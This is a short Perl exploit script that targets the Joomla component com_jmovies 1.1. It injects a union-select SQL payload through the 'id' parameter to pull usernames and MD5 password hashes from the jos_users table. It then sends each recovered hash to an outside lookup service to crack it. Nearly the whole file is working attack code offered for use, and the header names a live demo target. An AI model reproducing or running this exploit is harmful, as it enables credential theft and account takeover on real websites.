joomlajmovies-sql.txt

`#!/usr/bin/perl -w  
# -----------------------------------------------------------  
# Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit  
# by s3rg3770 with athos :)  
# demo http://www.disneyrama.com  
# -----------------------------------------------------------  
# Note: In lulz we trust :O  
# -----------------------------------------------------------  
  
use strict;  
use LWP::UserAgent;  
use LWP::Simple;  
  
  
my $host = shift;  
my $myid = shift or &help;  
  
my $path = "/index.php?option=com_jmovies&Itemid=29&task=detail&id=-1+".  
"union+select+1,concat(0x215F,username,0x3a,password,0x215F)+".  
"from+jos_users+where+id=${myid}--";  
  
my $http = new LWP::UserAgent(  
agent => 'Mozilla/4.5 [en] (Win95; U)',  
timeout => '5',  
);   
  
  
my $response = $http->get($host.$path);   
  
if($response->content =~ /!_(.+?)!_/i)  
{  
print STDOUT "Hash MD5: $1\n";  
print STDOUT "Password: ".search_md5($1)."\n";  
exit;  
}  
else  
{  
print STDOUT "Exploit Failed!\n";  
exit;  
}  
  
  
  
sub search_md5  
{  
my $hash = shift @_;  
my $cont = undef;  
  
$cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);  
  
if(length($hash) < 32 && !is_error($cont))  
{  
return $cont;  
}  
}   
  
  
sub help  
{  
print STDOUT "Usage: perl $0 [host] [user ID]\n";  
print STDOUT "by athos - staker[at]hotmail[dot]it\n";  
exit;  
}  
  
`